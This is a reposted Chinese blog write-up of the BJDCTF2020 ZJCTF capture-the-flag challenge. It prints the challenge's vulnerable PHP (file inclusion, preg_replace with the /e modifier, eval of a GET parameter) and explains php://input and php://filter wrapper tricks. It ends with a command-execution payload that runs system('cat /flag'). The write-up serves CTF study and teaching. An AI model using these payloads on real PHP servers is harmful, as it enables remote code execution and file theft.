" />

小言_互联网的博客

[BJDCTF2020]ZJCTF,不过如此

529人阅读  评论(0)

[BJDCTF2020]ZJCTF,不过如此
题目:
打开环境,得到:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
   
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
   
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
   
    highlight_file(__FILE__);
}
?>

进行一下代码审计(具体的就自己来进行审计了):
可以用php://input伪协议来绕过file_get_contents(),然后看到include(),这是文件包含,所以可以用php://filter来读取文件
构造payload:

base64解密即可得到:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
   
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
   
    echo complex($re, $str). "\n";
}

function getFlag(){
   
	@eval($_GET['cmd']);
}

继续进行代码审计,这里补充几个知识点:

preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当做代码来执行

正则表达式的\S:匹配所有非空白字符;
.号:匹配除\n外的任意字符;
*号:匹配前面的字符0次或者多次
+号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b)

php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)

这里的话第二个参数为strtolower("\\1"),实际上也就是strtolower("\1"),而\1在正则表达式中有自己的意思,也就是指定第一个匹配项,简单来说就是取出正则表达式匹配后子匹配表达式的第一项
接着继续进行审计,来到foreach()函数,这个函数就是把我们传进去的参数变为正则,并且参数值变为字符串;getFlag()就不说了,eval执行即ok

为了方便理解,我这里进行了本地测试,

<?php
echo "{
     ${
     phpinfo()}}";
;?>


可以看到确实能够成功利用双引号里的变量
接下来就是构造payload了:

\S*=${
   getFlag()}&cmd=system('cat /flag');

z这里解释下用\S*而不是用.*的原因:
因为在php中,对于传入非法的$_GET参数名,会将其转换为下划线,导致正则匹配失效
所以我们只能使用\S*或者\S%2b来进行构造payload
在url输入payload即可得到flag:


转载:https://blog.csdn.net/qq_51652864/article/details/116156707
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场